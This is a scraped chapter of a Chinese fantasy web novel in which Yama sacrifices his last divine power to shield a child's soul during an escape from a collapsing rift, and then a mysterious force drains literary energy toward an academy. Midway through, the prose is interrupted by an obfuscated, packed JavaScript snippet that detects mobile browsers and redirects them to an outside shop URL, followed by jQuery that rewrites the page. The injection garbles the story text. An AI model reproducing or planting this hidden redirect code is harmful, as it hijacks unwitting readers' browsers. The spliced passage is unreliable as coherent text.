鬼工司成员们看得心惊肉跳,癸七嘶声大喊:“通道不稳定加剧!快!最多再支撑二十息!” 就在这千钧一发之际,一直冷静观察的阎王动了。他没有去管那被暂时阻挡的黑气,而是猛地将囡囡的魂魄推向白无常的方向,自己则完全暴露在黑气的最终攻击路径上。 “放肆!” 一声冰冷的怒喝,带着属于幽冥之主的无上威严。他甚至没有尝试防御或闪避,而是将体内仅存的、最后的神力,毫无保留地尽数逼出! 那不是攻击的力量,也不是防御的力量,而是最为纯粹、最为本源,代表着幽冥至高权柄与接引职责的——引魂之光! 一道温暖、柔和、却带着不容置疑的秩序力量的暗金色光芒,自他掌心流淌而出,如同最坚韧的守护屏障,轻柔而又坚定地将囡囡的魂魄完全包裹、护住。光芒并不炽烈,却仿佛蕴含着轮回的法则,那噬魂墨的黑气撞在这光芒之上,竟如同遇到了天生的克星,发出“嗤嗤”的刺耳声响,疯狂扭动、消融,却无法侵入分毫! 然而,强行榨干最后的神力,代价是巨大的。阎王的脸色瞬间变得惨白如纸,身体剧烈一晃,猛地喷出一口淡金色的神血,整个人如同断了线的风筝般向后倒去,凤眸紧闭,气息微弱到了极点。 “陛下!”白无常接住被护送的囡囡魂魄,魂都快吓飞了。 “阎王老儿!”哪吒目眦欲裂,乾坤圈瞬间飞回,将残余的黑气彻底击散,他一个闪身冲到阎王身边。 “快走!通道要塌了!”癸七的声音已经带上了绝望。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800946|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们先走!小爷断后!”哪吒吼道,一把将力竭昏迷的阎王背起,风火轮催动到极致,化作一道红色流光,朝着出口方向激射而去。白无常抱着囡囡,将速度提升到顶点,紧随其后。 “鬼工司!技术支援!”癸七一边跟着狂奔,一边嘶声下令。 “定空石,爆!”几名力士毫不犹豫地引爆了沿途布设的部分定空石,剧烈的能量波动暂时扰乱了后方的空间结构,延缓了崩塌的速度。 “符文屏障,启!”架构师们将手中卷轴向后抛洒,一道道临时凝聚的符文屏障如同盾牌般层层展开,阻挡着席卷而来的空间碎片和能量乱流。 “搬山,卸力!”搬山鬼吏们施展神通,将袭来的巨大碎石引偏方向。 整个逃亡过程险象环生,如同在崩塌的悬崖边跳舞。红色的流光在前,白色的身影和一群各显神通的鬼工在后,在破碎的通道中夺路狂奔。身后,是不断湮灭的虚空和狂暴的能量潮汐。 就在最后一名鬼工司成员连滚带爬地冲出罅隙的瞬间—— “轰隆!!!” 整个“阴阳罅隙”入口处发出惊天动地的巨响,那光怪陆离的景象如同被一只无形巨手抹去,彻底坍塌、湮灭,化为一片混沌的虚无,随后缓缓愈合,只留下些许不稳定的空间涟漪。 劫后余生的众人,或坐或躺,大口喘着气。鬼工司成员们看着彼此狼狈的模样,又看了看被成功救出的囡囡魂魄和虽然昏迷但性命无虞的阎王,脸上都露出了如释重负的笑容。 “成了!刑期有望!” “带薪假!我来了!” “哈哈,咱们鬼工司这次立大功了!” 白无常也松了一口气,正准备查看阎王的情况,哪吒更是掏出了金疮药,想给阎王喂下。 然而,就在这片刻的松懈之际—— “嗡……轰!” 整个大地,毫无征兆地剧烈震动起来!并非寻常地动,而是仿佛地脉深处有什么东西被强行抽取、引发了共鸣般的战栗! 紧接着,所有人都清晰地感觉到,空气中仿佛有无形的东西正在被疯狂抽离!那是丝丝缕缕、或磅礴或细微的文气、才思,从京城的各个角落,乃至更遥远的地方,如同百川归海一般,化作无形的洪流,带着不甘的悲鸣与嘶吼,疯狂地涌向同一个方向——青云书院的后山! 一股庞大而隐晦的吸力笼罩四野,令人心悸。 “怎么回事?!”哪吒稳住身形,惊疑不定地望向书院方向。 白无常脸色煞白,他怀中的囡囡魂魄似乎也受到了惊吓,微微颤抖。 几乎同时,阎王怀中那部幽冥通识宝鉴像是发了疯一样剧烈震动,幽蓝的光芒疯狂闪烁,提示音连绵不绝。白无常赶紧掏出来打开。 【忘川一家人(500)】的界面已经被红色的紧急通报彻底刷屏: 【首席判官·崔:紧急!!!各地文气异常波动!检测到大规模强制抽取!目标指向京城!】 【江南道城隍:报——!我这边好几个书香世家的祖祠文气被强行抽走了!祖宗牌位都在震动!】 【北境游神:边关学堂的镇学文宝光泽黯淡!文气流失!】 【某郡土地:完了完了!我们这刚中举的秀才,突然晕倒,醒来后变得痴痴傻傻,文心好像被挖空了!】 【日夜游神联动号:确认!京城青云书院后山为汇聚点!能量等级急剧攀升!危险!极度危险!】 【孟婆:奈何桥都在晃!投胎的鬼魂都在哭嚎说脑子空了!这特么是刨了文曲星的祖坟吗?!】 【牛头马面:@白无常@黑无常老大!什么情况?!需要支援吗?!】 信息如同雪崩般涌来,一片混乱,充满了惊恐与无措。 哪吒背上的阎王被这剧烈的震动和宝鉴的嘈杂惊醒,他艰难地睁开眼,感受到那席卷天地的文气洪流和源自书院后山的恐怖吸力,苍白的脸上瞬间失去了最后一点血色。他一把抓住哪吒的胳膊,因虚弱和惊怒而手指颤抖,声音嘶哑却带着撕心裂肺的急切: “谢长安他那边……!这阵法……他是不是出事了?!”